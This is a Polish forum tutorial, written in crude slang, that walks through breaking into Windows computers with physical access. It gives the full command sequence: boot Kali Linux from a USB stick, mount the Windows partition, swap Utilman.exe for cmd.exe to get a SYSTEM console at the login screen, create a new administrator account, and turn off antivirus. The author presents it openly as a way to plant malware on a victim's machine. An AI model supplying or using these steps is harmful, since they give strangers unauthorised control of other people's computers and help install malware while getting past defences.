[tut] wpierdalanie sie na komputery z windowsem

- patent dziala na komputerach z systemami windows do wydania 11 windy

Duzymi zaletami patentu sa

-Zaplantowanie malware'u bezpośrednio u ofiary z pominięciem całego procesu wysyłki, socjotechniki i utrudnień innych wielu,
-Możliwość ataku wykonania w pełni offline,
-Gdy pierdolniesz się w łeb i hasła do swojego komputera zapomnisz,

Uwaga wymaga to fizycznego kontaktu z komputerem / laptopem ofiary, wszystko czego potrzebujemy to pendrive min 8GB. Ale imo 16 GB nada sie jeszcze lepiej, patent jednym z najprostszych sposobow na dostanie sie na komputer jest.

zaczynamy od pobrania wersji live kali'linuxa

Cytat:https://www.kali.org/get-kali/#kali-live

oraz stworzenia flashowanego pendriva za pomoca np Rufusa albo Baleny Ether , jesli nie umeisz tego zrobic jest masa poradnikow w internecie. ( https://www.kali.org/docs/usb/live-usb-i...h-windows/ )

Cytat:https://rufus.ie/pl/

Teraz tak, jesli masz juz dzialajcego pena wkladasz go w kompa ofiary i bootujesz system. Jednak wchodzisz do Biosu badz UEFI albo Boot Menu (skrot klawiszowy od producenta plyty glownej zalezny.)
Najczesciej mozesz spotkac sie z klawiszami F1 - F12 / oraz DEL jesli nie wiesz ktory to po prostu zapierdol po klawiaturze jak po harmonijce, kiedy odpali sie kali

Uruchamiasz Terminal.

Tworzysz Folder

Cytat:mkdir /mnt/C

Partycje listujesz

Cytat:-fdisk -l
LUB
fdisk -l

Wybierasz tę na której system siedzi i montujesz zakladajac ze  Winda jest hipotetycznie na /dev/nvme0n1p2

Cytat:mount /dev/nvme0n1p2 /mnt/C

U WAS NAJPEWNIEJ PARTYCJA BEDZIE SIE NAZYWAC /dev/sda(numerek)



Urządzenie    Początek    Koniec  Sektory Rozmiar Typ

/dev/nvme0n1p1    2048  1001471    999424    488M Systemowa EFI

/dev/nvme0n1p2  1001472  9390079  8388608      4G Linux - wymiany

/dev/nvme0n1p3  9390080 500117503 490727424    234G Linux - system plików



ale wczesniej spojrz to jest wynik mojego wylistowania laptopa tylko z linuxem i jedna partycja! po wylistowaniu partycji na ktorych jest Windows widziec bedziesz po tym co na koncowej linijce pisze



Przechodzisz do folderu System32

Cytat:cd /mnt/C/Windows/System32

Grepujesz plik Utilman.exe



Grep / grepowanie / greeping (podmiana programu / pliku rozruchowego / skryptu na inny program najprosciej powiedziec ze mozemy zamienic plik .exe na inny plik .exe)



W Windowsie na oknie logowania na użytkownika konto masz narzędzie 'ease of access' albo ułatwienia dostępu. Tak składa się, że plik Utilman.exe który za ten proces odpowiada jest wykonywany na najwyższych uprawnieniach,więc jedyne co zrobić musisz to podmienić ten plik na cmd.exe i wówczas konsola zostanie uruchomiona na systemowych uprawnieniach.



Backup oryginalnego Utilmana zrób oczywiście

Cytat:mv Utilman.exe Utilman_backup.exe

mv cmd.exe Utilman.exe

I tyle, bootujesz od nowa Windę i czekasz na okno logowania. 

Klikając w ikonkę ułatwienia dostępu powinna pojawić się konsola na użytkowniku SYSTEM czyli można hasać.



Dodajesz sobie usera i wrzucasz go do adminów

Cytat:net user Diobelek /add

net localgroup administrators Diobelek /add

Uwaga: w nowszych systemach (10,11) lepiej wyłączyć AV bo wychwyci i zablokuje proces ten.

Robisz to w następujący sposób:

Cytat:>Shift trzymając klikasz opcję Restart aby wejść w zaawansowane opcje
>Troubleshoot
>Opcje zaawansowane
>Ustawienia startowe
>Restart
>F8 (wyłączenie AV)

sposob bardzo stary ale dalej jary. nwm mozna to wykorzystac na miliony sposobow jeden najprostszy przyklad to jak chodzilem do szkoly i mieszkalem z rodzicami omijalem wszystkie kary na kompa...